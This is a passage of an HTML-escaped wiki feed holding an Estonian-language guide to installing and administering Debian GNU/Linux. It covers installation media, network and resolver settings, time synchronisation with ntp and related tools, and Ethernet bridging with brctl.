    esac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* http://unbound.net/&lt;br /&gt;
* http://unbound.nlnetlabs.nl/pipermail/unbound-users/&lt;br /&gt;
* http://www.howtoforge.com/installing-using-unbound-nameserver-on-debian-etch&lt;br /&gt;
* http://www.nlnetlabs.nl/publications/dnssec_howto/index.html&lt;br /&gt;
* http://secspider.cs.ucla.edu/islands.html&lt;br /&gt;
* https://itar.iana.org/&lt;br /&gt;
* https://ns.iana.org/dnssec/status.html&lt;br /&gt;
* https://dlv.isc.org/&lt;br /&gt;
* http://en.wikipedia.org/wiki/AS112&lt;br /&gt;
* [[:Pädeva nimeserveri NSD kasutamine]]&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_kasutamine&amp;diff=4236</id>
		<title>Operatsioonisüsteemi Debian GNU/Linux kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_kasutamine&amp;diff=4236"/>
		<updated>2026-06-16T08:13:59Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Kasulikud lisamaterjalid */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Debian GNU/Linux===&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux ehk lühidalt Debian on vaba operatsioonisüsteem, mis kasutab Linux või FreeBSD tuuma ning töötab paljudel populaarsetel riistvaralistel platvormidel, sealhulgas 32 bit ja 64 bit x86 arvutid.&lt;br /&gt;
&lt;br /&gt;
Debiani sobib kasutada nii serveritel kui ka töökohaarvutitel sh süleritel. Debianile on iseloomulik&lt;br /&gt;
&lt;br /&gt;
* korrektselt ilmuvad turvaparandused (teated ilmuvad ka bugtraqis)&lt;br /&gt;
* eeskujulik paketihaldus, sh automaatne pakettide autentsuse valideerimine kontrollsummade abil (MD5sum, SHA1, SHA256)&lt;br /&gt;
* rahulik stabiilsete versioonide ilmumise tsükkel, erinevalt närvilisest ja suhteliselt pikk tugi eelmisele stabiisele versioonile&lt;br /&gt;
* väärikas kasutajaskond (ingl. k. community)&lt;br /&gt;
* tarkvara jagatakse kompileeritud ja lähtetekstipakettide kujul&lt;br /&gt;
&lt;br /&gt;
Debiani kodulehe http://www.debian.org/ tiitel ütleb, et tegemist on universaalse operatsioonisüsteemiga, mille tunnistuseks on ehk tõepoolest asjaolu, et Debiani on kasutatud mitmete teiste nn Linuxi distributsioonide aluseks.&lt;br /&gt;
&lt;br /&gt;
Debian on loodud Ian Murdock'i poolt aastal 1993, kusjuures operatsioonisüsteemi nimi on tuletatud autori ja tema abikaasa Debra eesnimedest.&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamise ettevalmistamine===&lt;br /&gt;
&lt;br /&gt;
Debiani kasutamiseks on vajalik sobiv riistvara, näiteks tõenäoliselt praktiliselt suvaline 32 bit või 64 bit x86 arvuti sobib, alatest 486 PC mudelitest kuni HP DL 585 G5 ja IBM x3250 taoliste serveriteni. Riistvara sobivuse määrab põhiliselt operatsioonisüsteemi tuum, 2013 aastal on stabiilsel Debiani versioonil 7.0 selleks Linux tuuma versioon 3.2.0.&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleks enne operatsioonisüsteemi paigaldamist otsutada, mida arvutiga teha soovitakse, sh võiks kujutada ette milline saab olema&lt;br /&gt;
&lt;br /&gt;
* arvuti nimi ja ip aadress&lt;br /&gt;
* kõvaketaste kasutus&lt;br /&gt;
* kas arvutit kasutatakse serveri või töökohana&lt;br /&gt;
* kuhu arvuti füüsiliselt paigutatakse&lt;br /&gt;
* kes vastutab arvuti haldamise eest (tarkvara uuendamine, süsteemi monitoorimine ja varundus/taaste)&lt;br /&gt;
&lt;br /&gt;
Üks otsekohene moodus operatsioonisüsteemi paigladmiseks on kasutada Debiani peeglites (ingl. k. mirror) jagatavat CD tõmmisest valmistatud bootivat CD plaati, kuna kõige populaarsem platvorm on x86, siis märgime, et&lt;br /&gt;
&lt;br /&gt;
* 64 bit AMD ja Inteli arvutitel kasutamiseks sobib Debiani amd64 arhitektuur&lt;br /&gt;
* 32 bit AMD ja Inteli arvutitel kasutamiseks sobib Debaini i386 arhitektuur&lt;br /&gt;
&lt;br /&gt;
Kuivõrd reeglina AMD ja Inteli 64 bit arvutid on 32 bit-ühilduvad, siis kasutades 32 bit operatsioonisüsteemi tarkvara 64 bit riistvaral käitub arvuti nagu 32 bitine arvuti. Kuigi eelpool on mainitud nimeliselt AMD ja Intelit kehtib öeldu ka teiste tootjate x86 platvormide kohta. Järgnevas on näited toodud konkreetsuse huvides 64 bit keskkonna kohta, kuid põhimõtteliselt toimub tegevus samamoodi ka 32 bit keskkonnas toimetades. Lisaks saab valida mitmete nö eriotstarbeliste tuumade hulgast, nt i386 non-pae, tuuma nimes kasutatakse '486' sel juhul.&lt;br /&gt;
&lt;br /&gt;
Niisiis, kui kasutada on 64 bit x86 riistvara tuleks kopeerida esimene amd64 arhitektuuri CD tõmmis, näiteks aadressilt http://cdimage.debian.org/debian-cd/7.0.0/amd64/iso-cd/debian-7.0.0-amd64-CD-1.iso ning kirjutada CD plaadile. Plaadi kirjutamisel peab jälgima, et tõmmist ei kirjutata plaadile mitte nagu suurt faili, vaid kirjutatakse tõmmisena, vastasel korral arvuti ei boodi sellelt plaadilt. Debian v. 7.0 on rangelt eristatud vabad ja suletud koodiga draiverid, kõige nähtavamalt mõjutab see tõenäoliselt operatsioonisüsteemi paigaldamise protseduur kui on tegemist vastava riistvaraga, http://www.debian.org/releases/stable/amd64/ch06s04.html.en.&lt;br /&gt;
&lt;br /&gt;
USB pulgalt paigaldades tundub, et uuemal ajal on .iso tõmmised nii ettevalmistatud (isohybrid techniques), et need saab lihtsalt dd programmiga kopeerida pulgale ja töötab, https://wiki.debian.org/BootUsb&lt;br /&gt;
&lt;br /&gt;
 # dd if=/tmp/debian-7.0.0-amd64-CD-1.iso of=/dev/sdc bs=4M&lt;br /&gt;
&lt;br /&gt;
Kui Debian paigaldatakse arvutile, kus juba on operatsioonisüsteem installeritud, nt Win7, siis tõenäoliselt õnnestub installeriga töötamise ajal Win7 failisüsteemide ja partitsioonide suurusi kahandada, tehes nii ruumi Debiani jaoks. Selleks tuleb kõvaketta seadistamise menüüvalikus öelda 'Manual' ja sealt edasi. Kirjanduse põhjal saab öelda, et vastvaid NTFS failisüsteeme ei ole tarvis eelnevalt defragmenteerida.&lt;br /&gt;
&lt;br /&gt;
Windows operatsioonisüsteemi all sobib USB pulk tekitada UUI (Universal USB Installer) programmiga, mille kasutamise juhised leiab aadressilt http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/.&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tuleb arvestada, et operatsioonisüsteemi paigaldamisel hävivad eelnevalt kõvaketastel olnud andmed. Peale paigaldusmeedialt arvuti käivitamist käivitatakse automaatselt operatsioonisüsteemi installer, mis näeb tekstrežiimis välja selline (alternatiivina esineb installeri kasutajaliides ka graafilises vormis)&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Debian-installer-v7.gif]]&lt;br /&gt;
&lt;br /&gt;
Installeri kasutamine on intuatiivne, paigaldamise tulemusena tekib iseseisvalt bootiv arvuti. Paigaldamise käigus sooritatakse järgmised otsustused ja tegevused&lt;br /&gt;
&lt;br /&gt;
* kõvaketakste kasutamine&lt;br /&gt;
* võrguseadistused&lt;br /&gt;
* tarkvarakomplekti valik (standard, töökoht, server)&lt;br /&gt;
* juurkasutaja parool&lt;br /&gt;
* paigaldatakse alglaadur (ingl. k. bootloader) GRUB&lt;br /&gt;
&lt;br /&gt;
Peale paigaldamist saab arvutisse konsoolilt sisse logida ja teatatakse midagi sellist&lt;br /&gt;
&lt;br /&gt;
  Linux loomaaed 2.6.26-2-xen-686 #1 SMP Wed May 16 23:50:09 UTC 2009 i686&lt;br /&gt;
  &lt;br /&gt;
  The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
  the exact distribution terms for each program are described in the&lt;br /&gt;
  individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
  &lt;br /&gt;
  Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
  permitted by applicable law.&lt;br /&gt;
  Last login: Sun Mar 29 23:06:53 2009 from aix.auul&lt;br /&gt;
  mart@loomaaed:~$&lt;br /&gt;
&lt;br /&gt;
Oluline on tähale panna, et muu hulgas räägib Debian oma kasutustingimustest&lt;br /&gt;
&lt;br /&gt;
* Debian GNU/Linux süsteemis sisalduv tarkvara on vaba tarkvara&lt;br /&gt;
* Debian GNU/Linux süsteemil kasutamisega ei kaasne garantiid&lt;br /&gt;
&lt;br /&gt;
Paigaldamise lõpus küsitakse, kas on soov osaleda nn populaarsus-võistluses, kord nädalas hakkab arvuti saatma paigaldatud pakettide nimekirja arendajatele, tulemused avaldadakse aadressil http://popcon.debian.org/.&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamine üle serial konsooli===&lt;br /&gt;
&lt;br /&gt;
Serial konsooli eksitab splash, sellest saab lahti vajutades Esc. Seejärel tuleb sisestada&lt;br /&gt;
&lt;br /&gt;
 boot: install console=ttyS0,9600&lt;br /&gt;
&lt;br /&gt;
===Community===&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux osas suhtlemiseks või niisama tutvumiseks saab kasutada selliseid ressursse&lt;br /&gt;
&lt;br /&gt;
* Veebikoht - http://www.debian.org/&lt;br /&gt;
* Wiki - http://wiki.debian.org/&lt;br /&gt;
* Postiloendid asuvad aadressil http://lists.debian.org/&lt;br /&gt;
* Uudised - http://www.debian.org/News/project/&lt;br /&gt;
* Turvaparandusi puudutavad teadaanded - http://www.debian.org/security/&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi varundamine ja taaste===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi varundamiseks sobib kasutada programmi rsync kopeerides kogu failisüsteemi va kataloogid&lt;br /&gt;
&lt;br /&gt;
* /tmp&lt;br /&gt;
* /proc&lt;br /&gt;
* /sys&lt;br /&gt;
&lt;br /&gt;
teisele arvutile.&lt;br /&gt;
&lt;br /&gt;
Süsteemi taastamiseks tuleb arvuti bootida nt RIP-Linuxi CD plaadilt, seadistada võrk, kopeerida varundatud süsteem ja paigaldada bootloader.&lt;br /&gt;
&lt;br /&gt;
===IP aadress===&lt;br /&gt;
&lt;br /&gt;
Staatilise IP aadressi saab Debianile seadistada failist&lt;br /&gt;
&lt;br /&gt;
 /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Tüüpiliselt võiks see välja näna järgnev&lt;br /&gt;
&lt;br /&gt;
 # The loopback interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 &lt;br /&gt;
 # The first network card - this entry was created during the Debian installation&lt;br /&gt;
 # (network, broadcast and gateway are optional)&lt;br /&gt;
 auto eth0&lt;br /&gt;
 &lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
        address 192.168.1.10&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        network 192.168.1.0&lt;br /&gt;
        broadcast 192.168.1.255&lt;br /&gt;
        gateway 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
===Arvuti nimi ja resolver===&lt;br /&gt;
&lt;br /&gt;
Arvutil peab oleme korrektselt seadistatud nimi ning nimesüsteemi kasutamine. Arvuti nimi on kirjas failis /etc/hostname, näiteks&lt;br /&gt;
&lt;br /&gt;
  bassein&lt;br /&gt;
&lt;br /&gt;
ning failis /etc/hosts on kirjas nö staatiline nimelahendus, mis töötab päri-ja pöördteisenduse jaoks, lihtsal juhul on seal sellised read (kusjuures esimest rida tuleb kasutada sõna-sõnalt)&lt;br /&gt;
&lt;br /&gt;
  127.0.0.1 localhost.localdomain localhost&lt;br /&gt;
  192.168.1.20 bassein.loomaaed.tartu.ee bassein&lt;br /&gt;
&lt;br /&gt;
Peale nende failide sisu muutmist tuleb muudatuste kehtestamiseks öelda&lt;br /&gt;
&lt;br /&gt;
   bash# hostname bassein&lt;br /&gt;
&lt;br /&gt;
Õnnestunud muudatuse kinnituseks ütleb arvuti nii&lt;br /&gt;
&lt;br /&gt;
  bash# hostname&lt;br /&gt;
  bassein&lt;br /&gt;
  bash# hostname -f&lt;br /&gt;
  bassein.loomaaed.tartu.ee&lt;br /&gt;
&lt;br /&gt;
Selleks, et arvuti lahendaks muid nimesid, peab olema kirjas nimeserveri aadress failis /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  nameserver 192.168.1.254&lt;br /&gt;
&lt;br /&gt;
Kusjuures, kui failis /etc/resolv.conf kasutada mitut sellist rida erinevate nimeserverite aadressidega, siis proovitakse igal nimelahendusel neid järjest läbi kuni jõutakse esimese töötavani. Vaikimisi oodatakse vastust 5 sekundit. Täiendavat infot saab resolveri manuaalist öeldes&lt;br /&gt;
&lt;br /&gt;
  # man resolver&lt;br /&gt;
&lt;br /&gt;
Tihtipeale kasutatakse keskkonnamuutujat PS1 prompti kujundamiseks ja mille väärtuse moodustamisel kasutatakse omakorda käsku hostname. Seetõttu muutub promptis oleva arvuti nime väärtus peale välja ja uuesti sisselogimist.&lt;br /&gt;
&lt;br /&gt;
====resolvconf====&lt;br /&gt;
&lt;br /&gt;
Lenny sisaldab lisaks nö staatilisele resolverile dünaamilist resolvconf tarkvara, asjakohane allikas on aadressil http://wiki.debian.org/NetworkConfiguration&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install resolvconf&lt;br /&gt;
&lt;br /&gt;
Osa olulisi faile asub kataloogis&lt;br /&gt;
&lt;br /&gt;
  /etc/resolvconf&lt;br /&gt;
&lt;br /&gt;
resolvconf oskab /etc/network/interfaces failist kasutada dns-nameservers parameetrit, nt selliselt&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 192.168.10.199&lt;br /&gt;
   gateway 192.168.10.254&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
   broadcast 192.168.10.255&lt;br /&gt;
   dns-nameservers 192.168.10.254&lt;br /&gt;
&lt;br /&gt;
===Kellaaeg===&lt;br /&gt;
&lt;br /&gt;
Arvuti kellaaeg on korrektselt juhul kohalik aeg. See sõltub ajavööndi seadistusest, mis võiks Eestis olla&lt;br /&gt;
&lt;br /&gt;
  # ls -l /etc/localtime&lt;br /&gt;
  lrwxrwxrwx 1 root root 34 Jul 15 21:40 /etc/localtime -&amp;gt; /usr/share/zoneinfo/Europe/Tallinn&lt;br /&gt;
&lt;br /&gt;
Vajadusel tuleks eemaldada /etc/locatime ja öelda&lt;br /&gt;
&lt;br /&gt;
  # ln -s /usr/share/zoneinfo/Europe/Tallinn /etc/localtime&lt;br /&gt;
&lt;br /&gt;
Seadistamiseks sobib kusjuures kasutada pigem ehk utiliiti dpkg-reconfigure öeldes&lt;br /&gt;
&lt;br /&gt;
  # dpkg-reconfigure tzdata&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine programmiga date====&lt;br /&gt;
&lt;br /&gt;
Töötava süsteemi käest saab küsida aega öeldes&lt;br /&gt;
&lt;br /&gt;
 $ date&lt;br /&gt;
 Sat Jan  8 14:07:25 EET 2011&lt;br /&gt;
&lt;br /&gt;
Lisaks saab küsida nt nö kaks nädalat tagasi, sellest on vahel kasu nt varundamisega seotud skriptides&lt;br /&gt;
&lt;br /&gt;
 $ date -d &amp;quot;2 weeks ago&amp;quot;&lt;br /&gt;
 Sat Dec 25 14:07:25 EET 2010&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine programmiga rdate====&lt;br /&gt;
&lt;br /&gt;
Openrdate http://sourceforge.net/apps/mediawiki/openrdate on OpenBSD projekti rdate tarkvara port Linuxile. Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install rdate&lt;br /&gt;
&lt;br /&gt;
Kellaja ühekordne seadmine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  # rdate ajaserver.loomaaed.tartu.ee&lt;br /&gt;
&lt;br /&gt;
rdate võimaldab suhelda kahte tüüpi ajaserveritega&lt;br /&gt;
&lt;br /&gt;
* http://tools.ietf.org/html/rfc868 server - tavaliselt töötab inetd abil ja teenindab portidel 37/tcp või 37/udp&lt;br /&gt;
* http://tools.ietf.org/html/rfc2030 - tavaliselt töötab pordil 123/udp&lt;br /&gt;
&lt;br /&gt;
rdate võtmetega saab juhtida, millist režiimi klient parasjagu kasutab, nt&lt;br /&gt;
&lt;br /&gt;
 $  rdate -4 -p -n ntp.ut.ee&lt;br /&gt;
 Sat Jan  8 14:09:44 EET 2011&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -4 - IPv4 protokoll&lt;br /&gt;
* -p - ainult küsida aega ja mitte seadistada&lt;br /&gt;
* -n kasutada rfc2030 ajaserverit&lt;br /&gt;
&lt;br /&gt;
Vaikimisi pöördub rdate ajaserveri poole kasutades rfc686 protokolli ja 37/tcp porti.&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine programmiga ntpdate====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ntpdate&lt;br /&gt;
&lt;br /&gt;
ntpdate sobib kellaaja küsimiseks rfc2060 protokolli toetavalt serverilt (kasutades 123/udp porti) ning kohaliku süsteemi kellaaja seadmiseks. Ainult kellaaja küsimiseks sobib kasutada võtit -q&lt;br /&gt;
&lt;br /&gt;
 $ ntpdate -p 2 -q ntp.ut.ee ntp.aso.ee&lt;br /&gt;
 server 2001:bb8:2002:500:211:25ff:fe8f:7d64, stratum 2, offset 0.011371, delay 0.10133&lt;br /&gt;
 server 193.40.5.113, stratum 2, offset 0.000782, delay 0.03786&lt;br /&gt;
 server 195.80.105.226, stratum 1, offset 0.000217, delay 0.03523&lt;br /&gt;
  8 Jan 15:35:55 ntpdate[20870]: adjust time server 195.80.105.226 offset 0.000217 sec&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -p 2 - igalt toodud ajaserverilt küsitakse aega kaks korda&lt;br /&gt;
* -q - aega ainult küsitakse ja ei seadistata&lt;br /&gt;
* vastust küsitakse kolmelt ajaserverilt kuna ntp.ut.ee nimel on A ja AAAA kirjed&lt;br /&gt;
&lt;br /&gt;
Algupärane ntpdate programm ise ei kasuta ühtegi seadistusfaili, kuid Debian keskkonnas on lisaks programm ntpdate-debian, mida juhib seadistusfail /etc/default/ntpdate mille abil saab juhtida, milliseid ajaservereid kasutatakse. Vaikimisi on seadistatud rida&lt;br /&gt;
&lt;br /&gt;
 NTPDATE_USE_NTP_CONF=yes&lt;br /&gt;
&lt;br /&gt;
mis tähendab, et kasutatakse ajaservereid ntp paketi tarkvara seadistusfailist /etc/ntp.conf. Kui ntpd programm töötab, siis ntpdate keeldub aega seadmast.&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine tarkvaraga ntp====&lt;br /&gt;
&lt;br /&gt;
Kellaaja sünkronisseerimiseks sobib kasutada paketti ntp&lt;br /&gt;
&lt;br /&gt;
  # apt-get install ntp&lt;br /&gt;
&lt;br /&gt;
NTP tarkvara juhivad kaks seadistusfaili&lt;br /&gt;
&lt;br /&gt;
* /etc/default/ntp - milles sisaldub vaikimisi rida ja mis tähendab, et ntpd programmi käivitamisel seadistatakse kellaaeg nö kiiresti&lt;br /&gt;
&lt;br /&gt;
 NTPD_OPTS='-g'&lt;br /&gt;
&lt;br /&gt;
* /etc/ntp.conf - seadistusfail, kus näidatakse ajaserverid jms parameetrid&lt;br /&gt;
&lt;br /&gt;
Seadistusfailist /etc/ntp.conf tuleb leida read&lt;br /&gt;
&lt;br /&gt;
  server 0.debian.pool.ntp.org&lt;br /&gt;
  server 1.debian.pool.ntp.org&lt;br /&gt;
  server 2.debian.pool.ntp.org&lt;br /&gt;
  server 3.debian.pool.ntp.org&lt;br /&gt;
&lt;br /&gt;
ning soovi korral asendada need oma teenese pakkuja nime kasutava ühe reaga, nt&lt;br /&gt;
&lt;br /&gt;
  server ajaserver.loomaaed.tartu.ee&lt;br /&gt;
&lt;br /&gt;
Kulub mõni aega, nt 10 minutit kuni ntp töötamine stabiliseerub, sellest annab tunnistust, et ntptrace vastab kus arvuti asub ntp hierarhias, nt midagi sellist&lt;br /&gt;
&lt;br /&gt;
  # ntptrace -n&lt;br /&gt;
  127.0.0.1: stratum 3, offset -0.001927, synch distance 0.038145&lt;br /&gt;
  192.168.30.8: stratum 2, offset -0.000066, synch distance 0.020106&lt;br /&gt;
  192.168.30.15: stratum 1, offset 0.000010, synch distance 0.002270, refid 'GPS'&lt;br /&gt;
&lt;br /&gt;
võib ka küsida sarnaselt (see väljund ei ole eelmisega näitega kooskõlas)&lt;br /&gt;
&lt;br /&gt;
 # ntpq -np&lt;br /&gt;
      remote           refid      st t when poll reach   delay   offset  jitter&lt;br /&gt;
 ==============================================================================&lt;br /&gt;
  10.192.0.53     193.40.5.113     3 u   47   64   37    0.646  -22.260  73.828&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine tarkvaraga openntpd====&lt;br /&gt;
&lt;br /&gt;
ntp tarkvarale on populaarne alternatiiv openntpd, üks praktiline erinevus on nt selles, et ntp sisaldab ntptrace utiliiti. OpenNTPD ei sisaldu Debian Squeeze paketihalduses.&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Selleks, et Xen domU kellaaega mõjutaks domU sees töötav ntp server tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  bash# sysctl -w xen.independent_wallclock=1&lt;br /&gt;
&lt;br /&gt;
või lisada faili /etc/sysctl.conf rida&lt;br /&gt;
&lt;br /&gt;
  xen.independent_wallclock=1&lt;br /&gt;
&lt;br /&gt;
Leap sekundite käsitlemine toimub tavaliselt kahel võimalikul viisil&lt;br /&gt;
&lt;br /&gt;
* lisatakse äkki sekund ära&lt;br /&gt;
&lt;br /&gt;
 # dmesg&lt;br /&gt;
 ..&lt;br /&gt;
 [14255112.244045] Clock: inserting leap second 23:59:60 UTC&lt;br /&gt;
&lt;br /&gt;
* määritakse sekundi lisandumine pikema perioodi peale&lt;br /&gt;
&lt;br /&gt;
===Võrgu seadistamine seadistusfailidega===&lt;br /&gt;
&lt;br /&gt;
Võrguseadmete seadistamine toimub faili /etc/networks/interfaces abil. Selle faili sisu alusel kehtestatakse võrguseadistused arvuti alglaadimisel või öeldes arvuti töötamisel&lt;br /&gt;
&lt;br /&gt;
  # /etc/init.d/networking restart&lt;br /&gt;
&lt;br /&gt;
Failis saab kasutada sellised sektsioone&lt;br /&gt;
&lt;br /&gt;
====lo ja eth võrguseadme seadistamine====&lt;br /&gt;
&lt;br /&gt;
  auto lo&lt;br /&gt;
  iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 192.168.10.10&lt;br /&gt;
   gateway 192.168.10.254&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
====dummy võrguseadme seadistamine====&lt;br /&gt;
&lt;br /&gt;
  auto dummy0&lt;br /&gt;
  iface dummy0 inet static&lt;br /&gt;
        address 192.168.13.251&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        network 192.168.13.0&lt;br /&gt;
        broadcast 192.168.13.255&lt;br /&gt;
&lt;br /&gt;
Kui on soov kasutada enam kui ühte dummy seadet, tuleb laadida dummy moodul sarnaselt&lt;br /&gt;
&lt;br /&gt;
  # modprobe dummy numdummies=5&lt;br /&gt;
&lt;br /&gt;
VLAN kasutamist tutvustatakse punktis http://kuutorvaja.eenet.ee/wiki/VLAN_kasutamine#Linux.27i_kasutamine_mode_trunk_re.C5.BEiimis&lt;br /&gt;
&lt;br /&gt;
===Silla kasutamine===&lt;br /&gt;
&lt;br /&gt;
Silla (ingl. k. bridge) kasutamine toimub paketis bridge-utils utiliitidega, paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bridge-utils&lt;br /&gt;
&lt;br /&gt;
Nt tekitame silla eth1 ja tap0 seadmetega&lt;br /&gt;
&lt;br /&gt;
 # brctl addbr br0&lt;br /&gt;
 # brctl addif br0 eth1&lt;br /&gt;
 # brctl addif br0 eth2&lt;br /&gt;
&lt;br /&gt;
Silla omadusi saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 # brctl show&lt;br /&gt;
 bridge name     bridge id               STP enabled     interfaces&lt;br /&gt;
 br0             8000.00064f320035       yes             eth1&lt;br /&gt;
                                                         eth2&lt;br /&gt;
&lt;br /&gt;
Silla kasutamiseks peavad olema seadmed üleval, nt silla üles tõstmiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # brctl br0 up&lt;br /&gt;
&lt;br /&gt;
Silla saab eemaldamiseks tuleb sild alla lasta, eemaldada seadmed ning lõpuks sild&lt;br /&gt;
&lt;br /&gt;
 # brctl br0 down&lt;br /&gt;
 # brctl delif br0 eth1&lt;br /&gt;
 # brctl delif br0 eth2&lt;br /&gt;
 # brctl delbr br0&lt;br /&gt;
&lt;br /&gt;
Sillale saab seadistada ka ip aadressi, nii nagu paljudele muudele võrguseadmetele&lt;br /&gt;
&lt;br /&gt;
 # ifconfig br0 192.168.1.200 netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab&lt;br /&gt;
&lt;br /&gt;
 # ifconfig br0&lt;br /&gt;
 br0      Link encap:Ethernet  HWaddr 00:17:42:02:0b:8a  &lt;br /&gt;
          inet addr:192.168.1.250  Bcast:192.168.1.255  Mask:255.255.255.0&lt;br /&gt;
          inet6 addr: fe80::5c63:deff:fe92:e125/64 Scope:Link&lt;br /&gt;
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
          RX packets:38 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:17 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0 &lt;br /&gt;
          RX bytes:2008 (1.9 KiB)  TX bytes:3101 (3.0 KiB)&lt;br /&gt;
&lt;br /&gt;
kusjuures bridge mac aadressina kasutatakse vaikimisi kõige väiksemat mac aadressi bridge külge ühendatud seadmetest, st see aadress võib muutuda bridge töötamise käigus. mac aadressi saab ka muuta, nt&lt;br /&gt;
&lt;br /&gt;
 # ifconfig br0 hw ether 70:01:68:00:12:50&lt;br /&gt;
&lt;br /&gt;
STP (Spanning Tree Protocol) sisselülitamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # brctl stp br0 on&lt;br /&gt;
&lt;br /&gt;
ja silla STP info esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # brctl showstp br0&lt;br /&gt;
 br0&lt;br /&gt;
  bridge id              8000.00064f320035&lt;br /&gt;
  designated root        8000.00064f320035&lt;br /&gt;
  root port                 0                    path cost                  0&lt;br /&gt;
  max age                  20.00                 bridge max age            20.00&lt;br /&gt;
  hello time                2.00                 bridge hello time          2.00&lt;br /&gt;
  forward delay            15.00                 bridge forward delay      15.00&lt;br /&gt;
  ageing time             300.01&lt;br /&gt;
  hello timer               1.49                 tcn timer                  0.00&lt;br /&gt;
  topology change timer     0.00                 gc timer                   5.49&lt;br /&gt;
  flags&lt;br /&gt;
 &lt;br /&gt;
 eth1 (1)&lt;br /&gt;
  port id                8001                    state                  disabled&lt;br /&gt;
  designated root        8000.00064f320035       path cost                  4&lt;br /&gt;
  designated bridge      8000.00064f320035       message age timer          0.00&lt;br /&gt;
  designated port        8001                    forward delay timer        0.00&lt;br /&gt;
  designated cost           0                    hold timer                 0.00&lt;br /&gt;
  flags&lt;br /&gt;
 &lt;br /&gt;
 eth2 (2)&lt;br /&gt;
  port id                8002                    state                forwarding&lt;br /&gt;
  designated root        8000.00064f320035       path cost                  4&lt;br /&gt;
  designated bridge      8000.00064f320035       message age timer          0.00&lt;br /&gt;
  designated port        8002                    forward delay timer        0.00&lt;br /&gt;
  designated cost           0                    hold timer                 0.48&lt;br /&gt;
  flags&lt;br /&gt;
&lt;br /&gt;
kust on näha, et &lt;br /&gt;
&lt;br /&gt;
* antud juhtumil on silla üks komponent välja lülitatud&lt;br /&gt;
&lt;br /&gt;
Sillaga seotud mac aadresside esitamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # brctl showmacs br0&lt;br /&gt;
 port no mac addr                is local?       ageing timer&lt;br /&gt;
   2     00:06:4f:32:00:35       yes                0.00&lt;br /&gt;
   1     00:06:4f:63:e3:d7       yes                0.00&lt;br /&gt;
   2     00:0c:42:07:1a:45       no                 0.04&lt;br /&gt;
   2     00:16:3e:00:00:01       no                83.98&lt;br /&gt;
   2     00:1c:c0:38:89:07       no                22.58&lt;br /&gt;
   2     70:01:68:00:11:45       no               227.43&lt;br /&gt;
   2     70:01:68:01:02:49       no                33.48&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
